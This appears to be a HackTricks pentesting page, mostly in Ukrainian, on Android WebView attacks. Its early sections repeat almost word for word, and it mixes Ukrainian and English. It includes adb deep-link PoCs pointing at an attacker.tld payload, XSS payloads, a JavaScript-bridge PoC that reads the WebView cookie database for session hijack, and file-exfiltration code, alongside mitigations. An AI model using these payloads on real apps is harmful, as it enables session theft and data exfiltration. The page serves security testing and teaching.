Атаки WebView

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Посібник щодо конфігурацій WebView та безпеки

Огляд вразливостей WebView

Критичним аспектом розробки Android є правильна обробка WebView. Цей посібник висвітлює ключові конфігурації та практики безпеки для зменшення ризиків, пов’язаних із використанням WebView.

Приклад WebView

Доступ до файлів у WebView

За замовчуванням WebView дозволяє доступ до файлів. Ця функціональність контролюється методом setAllowFileAccess(), доступним починаючи з Android API level 3 (Cupcake 1.5). Додатки з правом android.permission.READ_EXTERNAL_STORAGE можуть читати файли з external storage, використовуючи схему file URL (file://path/to/file).

Deprecated Features: Universal and File Access From URLs

  • Universal Access From File URLs: Ця застаріла функція дозволяла cross-origin запити з file URL, створюючи значний ризик безпеки через потенційні XSS атаки. За замовчуванням вимкнена (false) для додатків, що таргетять Android Jelly Bean і новіші версії.
  • Щоб перевірити цю настройку, використовуйте getAllowUniversalAccessFromFileURLs().
  • Щоб змінити цю настройку, використовуйте setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: Ця функція, також застаріла, контролювала доступ до контенту з інших file-схем URL. Як і universal access, заради підвищення безпеки її значення за замовчуванням вимкнене.
  • Використовуйте getAllowFileAccessFromFileURLs() для перевірки і setAllowFileAccessFromFileURLs(boolean) для встановлення.

Безпечне завантаження файлів

Для відключення доступу до файлової системи при одночасному доступі до assets і resources використовується setAllowFileAccess(). На Android R і вище значення за замовчуванням — false.

  • Перевірте за допомогою getAllowFileAccess().
  • Увімкніть або вимкніть за допомогою setAllowFileAccess(boolean).

WebViewAssetLoader

Клас WebViewAssetLoader — сучасний підхід для завантаження локальних файлів. Він використовує http(s) URL для доступу до локальних assets і resources, що відповідає політиці Same-Origin і полегшує управління CORS.

loadUrl

This is a common function used to load arbitrary URLs in a webviwe:

webview.loadUrl("<url here>")

Звісно, потенційний атакуючий ніколи не повинен мати можливість контролювати URL, який додаток збирається завантажити.

JavaScript та Intent Scheme — обробка

  • JavaScript: За замовчуванням вимкнено в WebViews; його можна ввімкнути через setJavaScriptEnabled(). Потрібно бути обережним, оскільки ввімкнення JavaScript без належних запобіжних заходів може призвести до вразливостей безпеки.
  • Intent Scheme: WebViews можуть обробляти схему intent, що потенційно може призвести до експлойтів, якщо її не контролювати належним чином. Приклад вразливості стосувався відкритого параметра WebView “support_url”, який можна було використати для виконання cross-site scripting (XSS) атак.

Уразливий WebView

Приклад експлуатації з використанням adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript міст

Android надає можливість, яка дозволяє JavaScript у WebView викликати рідні функції Android-додатку. Це досягається за допомогою методу addJavascriptInterface, який інтегрує JavaScript з рідними можливостями Android, іменований як WebView JavaScript bridge. Слід бути обережним, оскільки цей метод дозволяє всім сторінкам у WebView отримувати доступ до зареєстрованого об’єкта JavaScript Interface, що створює ризик безпеки, якщо через ці інтерфейси розкривається конфіденційна інформація.

  • Потрібна крайня обережність для додатків, які орієнтовані на версії Android нижче 4.2 через вразливість, яка дозволяє remote code execution через шкідливий JavaScript із використанням reflection.

Реалізація JavaScript Bridge

  • JavaScript interfaces можуть взаємодіяти з рідним кодом, як показано у прикладах, де метод класу доступний для JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge вмикається шляхом додавання інтерфейсу до WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Можливе експлуатування через JavaScript, наприклад, через XSS attack, дозволяє викликати експоновані Java методи:
<script>
alert(javascriptBridge.getSecret())
</script>
  • Щоб зменшити ризики, restrict JavaScript bridge usage лише кодом, що постачається в APK, і забороніть завантаження JavaScript з віддалених джерел. Для старіших пристроїв встановіть мінімальний API level на 17.

Reflection-based Remote Code Execution (RCE)

  • Документований метод дозволяє досягти RCE через reflection, виконуючи конкретний payload. Однак анотація @JavascriptInterface перешкоджає несанкціонованому доступу до методів, обмежуючи поверхню атаки.

Remote Debugging

  • Remote debugging можливе за допомогою Chrome Developer Tools, що дозволяє взаємодіяти та виконувати довільний JavaScript у вмісті WebView.

Enabling Remote Debugging

  • Remote debugging можна увімкнути для всіх WebViews у додатку за допомогою:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Щоб умовно ввімкнути налагодження залежно від стану додатка debuggable:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate будь-яких файлів

  • Демонструє exfiltration будь-яких файлів за допомогою XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Атаки WebView

Посібник з конфігурації WebView та безпеки

Огляд вразливостей WebView

Критично важливим аспектом розробки Android є правильне поводження з WebView. Цей посібник висвітлює ключові конфігурації та практики безпеки для зменшення ризиків, пов’язаних із використанням WebView.

Приклад WebView

Доступ до файлів у WebView

За замовчуванням WebView дозволяє доступ до файлів. Цю функціональність контролює метод setAllowFileAccess(), доступний з Android API level 3 (Cupcake 1.5). Додатки з дозволом android.permission.READ_EXTERNAL_STORAGE можуть читати файли з external storage, використовуючи схему file URL (file://path/to/file).

Deprecated Features: Universal and File Access From URLs

  • Universal Access From File URLs: Ця застаріла функція дозволяла cross-origin запити з file URL, що створювало серйозний ризик безпеки через потенційні XSS-атаки. За замовчуванням вимкнено (false) для додатків, що таргетять Android Jelly Bean і новіші версії.
  • Щоб перевірити це налаштування, використайте getAllowUniversalAccessFromFileURLs().
  • Щоб змінити це налаштування, використайте setAllowUniversalAccessFromFileURLs(boolean).
  • File Access From File URLs: Ця функція, також застаріла, контролювала доступ до контенту з інших URL зі схемою file. Як і універсальний доступ, за замовчуванням вона вимкнена для підвищення безпеки.
  • Використовуйте getAllowFileAccessFromFileURLs() для перевірки та setAllowFileAccessFromFileURLs(boolean) для встановлення.

Безпечне завантаження файлів

Щоб вимкнути доступ до файлової системи, одночасно зберігаючи можливість доступу до assets і ресурсів, використовується метод setAllowFileAccess(). На Android R і новіше за замовчуванням встановлено false.

  • Перевірити можна за допомогою getAllowFileAccess().
  • Увімкнути або вимкнути — через setAllowFileAccess(boolean).

WebViewAssetLoader

Клас WebViewAssetLoader — сучасний підхід до завантаження локальних файлів. Він використовує http(s) URL для доступу до локальних assets і ресурсів, узгоджується з політикою Same-Origin і полегшує керування CORS.

loadUrl

Це поширена функція, яка використовується для завантаження довільних URL у WebView:

webview.loadUrl("<url here>")

Ofc, потенційний attacker ніколи не повинен мати змогу контролювати URL, який application збирається завантажити.

Deep-linking into internal WebView (custom scheme → WebView sink)

Багато apps реєструють custom schemes/paths, які спрямовують user-supplied URL у in-app WebView. Якщо deep link експортовано (VIEW + BROWSABLE), attacker може змусити app відобразити довільний віддалений вміст всередині його WebView context.

Типовий шаблон manifest (спрощено):

<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

Загальний потік коду (спрощено):

// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

Схема атаки та PoC через adb:

# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact: віддалена сторінка виконується в контексті WebView додатку (cookies/session профілю WebView додатку, доступ до будь-якого відкритого @JavascriptInterface, потенційний доступ до content:// та file:// залежно від налаштувань).

Hunting tips:

  • Grep декомпільованих джерел на наявність getQueryParameter("url"), loadUrl(, WebView sinks, and deep-link handlers (onCreate/onNewIntent).
  • Перегляньте manifest на наявність VIEW+BROWSABLE filters та custom schemes/hosts, які відображаються на activities, які пізніше запускають WebView.
  • Перевірте, чи є кілька deep-link шляхів (e.g., an “external browser” path vs. an “internal webview” path) і віддайте перевагу тому, який рендериться всередині додатку.

Увімкнення JavaScript перед верифікацією (order-of-checks bug)

Частою помилкою hardening є увімкнення JavaScript або налаштування послаблених параметрів WebView перед завершенням остаточної allowlist/verification цільового URL. Якщо верифікація неконсистентна між допоміжними функціями або відбувається занадто пізно, атакуючий deep link може досягти стану, в якому:

  1. Налаштування WebView застосовано (e.g., setJavaScriptEnabled(true)), and
  2. Ненадійний URL завантажується з увімкненим JavaScript.

Шаблон помилки (псевдокод):

// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

Чому це можна експлуатувати

  • Непослідовна нормалізація: допоміжні функції розбивають/відтворюють URL інакше, ніж остаточна перевірка, створюючи невідповідності, якими може скористатися шкідливий URL.
  • Неправильний порядок обробки: увімкнення JS на кроці 2 застосовується глобально до екземпляра WebView, впливаючи на остаточне завантаження навіть якщо перевірка пізніше не пройде.

Як тестувати

  • Створіть deep-link payloads, які проходять ранні перевірки і потрапляють на сторінку конфігурації WebView.
  • Використовуйте adb, щоб надіслати implicit VIEW intents, які містять параметр url= під вашим контролем:
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Якщо exploitation вдасться, ваш payload виконує JavaScript у WebView додатку. Звідти перевірте наявність exposed bridges:

<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

Defensive guidance

  • Нормалізуйте один раз; суворо перевіряйте проти єдиного джерела істини (scheme/host/path/query).
  • Викликайте setJavaScriptEnabled(true) лише після проходження всіх allowlist-перевірок і безпосередньо перед завантаженням довіреного контенту.
  • Уникайте надавати @JavascriptInterface для недовірених origin; віддавайте перевагу обмеженню за origin.
  • Розгляньте використання окремих екземплярів WebView для довіреного та недовіреного контенту, з JS вимкненим за замовчуванням.

JavaScript та обробка Intent Scheme

  • JavaScript: За замовчуванням вимкнений у WebViews, його можна ввімкнути через setJavaScriptEnabled(). Слід бути обережним, оскільки ввімкнення JavaScript без належних запобіжних заходів може призвести до вразливостей безпеки.
  • Intent Scheme: WebViews можуть обробляти схему intent, що потенційно може призвести до експлойтів, якщо її не контролювати. Приклад вразливості включав відкритий параметр WebView “support_url”, який можна було використати для виконання cross-site scripting (XSS) attacks.

Vulnerable WebView

Exploitation example using adb:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android надає можливість, яка дозволяє JavaScript у WebView викликати нативні функції Android-додатку. Це досягається за допомогою методу addJavascriptInterface, який інтегрує JavaScript з нативними функціональностями Android, відомий як WebView JavaScript bridge. Слід бути обережним, оскільки цей метод дозволяє всім сторінкам у WebView отримувати доступ до зареєстрованого об’єкта JavaScript Interface, що створює ризик безпеки, якщо через ці інтерфейси розкривається конфіденційна інформація.

  • Потрібна особлива обережність для додатків, що орієнтовані на Android-версії нижче 4.2, через вразливість, яка дозволяє віддалене виконання коду через шкідливий JavaScript, що експлуатує reflection.

Implementing a JavaScript Bridge

  • JavaScript interfaces можуть взаємодіяти з нативним кодом, як показано в прикладах, де метод класу доступний для JavaScript:
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge увімкнено шляхом додавання інтерфейсу до WebView:
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • Потенційне використання через JavaScript, наприклад, через XSS-атаку, дозволяє викликати доступні методи Java:
<script>
alert(javascriptBridge.getSecret())
</script>
  • Щоб зменшити ризики, restrict JavaScript bridge usage до коду, який постачається з APK, і запобігайте завантаженню JavaScript з віддалених джерел. Для старіших пристроїв встановіть мінімальний API level на 17.

Зловживання dispatcher-style JS bridges (invokeMethod/handlerName)

Поширений шаблон — один експортований метод (наприклад, @JavascriptInterface void invokeMethod(String json)), який десеріалізує attacker-controlled JSON у загальний об’єкт і, залежно від наданого імені обробника, виконує виклик відповідного методу. Типова структура JSON:

{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}

Risk: якщо будь-який зареєстрований handler виконує привілейовані дії над даними атакуючого (e.g., пряме читання файлів), ви можете викликати його, встановивши handlerName відповідно. Результати зазвичай повертаються у контекст сторінки через evaluateJavascript і механізм callback/promise, індексований за callbackId.

Key hunting steps

  • Декомпілюйте та виконайте grep для addJavascriptInterface(, щоб дізнатися ім’я bridge-об’єкта (e.g., xbridge).
  • У Chrome DevTools (chrome://inspect) введіть ім’я bridge-об’єкта в Console (e.g., xbridge), щоб перелічити exposed fields/methods; шукайте generic dispatcher на кшталт invokeMethod.
  • Перелічіть handlers, шукаючи класи, що реалізують getModuleName() або registration maps.

Arbitrary file read via URI → File sinks (Base64 exfiltration)

If a handler takes a URI, calls Uri.parse(req.getUri()).getPath(), builds new File(...) and reads it without allowlists or sandbox checks, you get an arbitrary file read in the app sandbox that bypasses WebView settings like setAllowFileAccess(false) (the read happens in native code, not via the WebView network stack).

PoC to exfiltrate the Chromium WebView cookie DB (session hijack):

// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};

const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});

xbridge.invokeMethod(payload);

Примітки

  • Cookie DB paths vary across devices/providers. Common ones:
  • file:///data/data/<pkg>/app_webview/Default/Cookies
  • file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies
  • The handler returns Base64; decode to recover cookies and impersonate the user in the app’s WebView profile.

Detection tips

  • Watch for large Base64 strings returned via evaluateJavascript when using the app.
  • Grep decompiled sources for handlers that accept uri/path and convert them to new File(...).

Обхід механізмів привілеїв WebView — перевірки хоста endsWith()

Privilege decisions (selecting a JSB-enabled Activity) often rely on host allowlists. A flawed pattern is:

String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView

Еквівалентна логіка (закони Де Моргана):

boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);

Це не перевірка origin. Багато непередбачених хостів задовольняють другу умову, дозволяючи недовіреним доменам потрапити в привілейовану Activity. Завжди перевіряйте схему та хост за жорстким allowlist (точне співпадіння або коректна перевірка піддомену з точковими межами), а не трюки на кшталт endsWith.

javascript:// execution primitive via loadUrl

Опинившись у привілейованому WebView, додатки іноді виконують inline JS через:

webView.loadUrl("javascript:" + jsPayload);

Якщо внутрішній потік викликає loadUrl("javascript:...") у цьому контексті, ін’єктований JS виконується з доступом до bridge навіть якщо зовнішній сторінці зазвичай не дозволено. Pentest steps:

  • Grep for loadUrl("javascript: and evaluateJavascript( in the app.
  • Спробуйте потрапити в ці шляхи коду після примусового переходу до привілейованого WebView (наприклад, через permissive deep link chooser).
  • Використайте примітив, щоб викликати dispatcher (xbridge.invokeMethod(...)) і дістатися до чутливих обробників.

Mitigations (developer checklist)

  • Строга перевірка origin для привілейованих Activities: канонізуйте та порівнюйте scheme/host з явним білим списком; уникайте перевірок на основі endsWith. Розгляньте Digital Asset Links, коли це застосовно.
  • Обмежуйте bridge лише довіреними сторінками та перевіряйте довіру при кожному виклику (per-call authorization).
  • Видаліть або ж жорстко обмежте обробники з доступом до файлової системи; віддавайте перевагу content:// з allowlists/permissions замість сирих file:// шляхів.
  • Уникайте loadUrl("javascript:") у привілейованих контекстах або обмежуйте його сильними перевірками.
  • Пам’ятайте, що setAllowFileAccess(false) не захищає від читання нативних файлів через bridge.

JSB перерахування та поради для налагодження

  • Увімкніть віддалене налагодження WebView, щоб використовувати Chrome DevTools Console:
  • App-side (debug builds): WebView.setWebContentsDebuggingEnabled(true)
  • System-side: модулі на кшталт LSPosed або Frida-скрипти можуть примусово ввімкнути налагодження навіть у релізних збірках. Приклад фрагменту Frida для Cordova WebViews: cordova enable webview debugging
  • У DevTools введіть ім’я об’єкта bridge (наприклад, xbridge), щоб побачити відкриті члени та дослідити dispatcher.

Reflection-based Remote Code Execution (RCE)

  • A documented method allows achieving RCE through reflection by executing a specific payload. However, the @JavascriptInterface annotation prevents unauthorized method access, limiting the attack surface.

Remote Debugging

  • Remote debugging possible with Chrome Developer Tools, enabling interaction and arbitrary JavaScript execution within the WebView content.

Enabling Remote Debugging

  • Remote debugging can be enabled for all WebViews within an application by:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Щоб умовно увімкнути debugging залежно від debuggable стану додатка:
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate довільні файли

  • Демонструє exfiltration довільних файлів за допомогою XMLHttpRequest:
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

WebView XSS via Intent extras → loadData()

Поширена вразливість — читання даних, контрольованих атакуючим, з вхідного Intent extra і безпосереднє інжектування їх у WebView через loadData() при увімкненому JavaScript.

Уразливий шаблон (exported Activity читає extra і відображає його як HTML):

String data = getIntent().getStringExtra("data");
if (data == null) { data = "Guest"; }
WebView webView = findViewById(R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebChromeClient());
String userInput = "\n\n# Welcome\n\n" + "\n\n" + data + "\n\n";
webView.loadData(userInput, "text/html", "UTF-8");

Якщо той Activity експортується (або доступний через експортований proxy), зловмисний додаток може передати HTML/JS в extra data, щоб викликати reflected XSS:

# Replace package/component with the vulnerable Activity
adb shell am start -n com.victim/.ExportedWebViewActivity --es data '<img src=x onerror="alert(1)">'

Наслідки

  • Довільний JS у контексті WebView додатка: перелікувати/використовувати @JavascriptInterface bridges, отримувати доступ до WebView cookies/local storage, переходити на file:// або content:// залежно від налаштувань.

Заходи

  • Вважайте всі дані, отримані з Intent, недовіреними. Екрануйте (Html.escapeHtml) або відкидайте HTML; віддавайте перевагу відображенню недовіреного тексту як тексту, а не як HTML.
  • Тримайте JavaScript вимкненим, якщо він не є суворо необхідним; не вмикайте WebChromeClient для недовіреного контенту.
  • Якщо потрібно рендерити шаблонований HTML, використовуйте loadDataWithBaseURL() з безпечним базовим URL та CSP; розділяйте довірені/недовірені WebViews.
  • Уникайте зовнішнього експонування Activity або захищайте її дозвoлами, якщо зовнішній доступ не потрібен.

Пов’язані

  • Див. примітиви на основі Intent та перенаправлення в: Intent Injection

Джерела

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks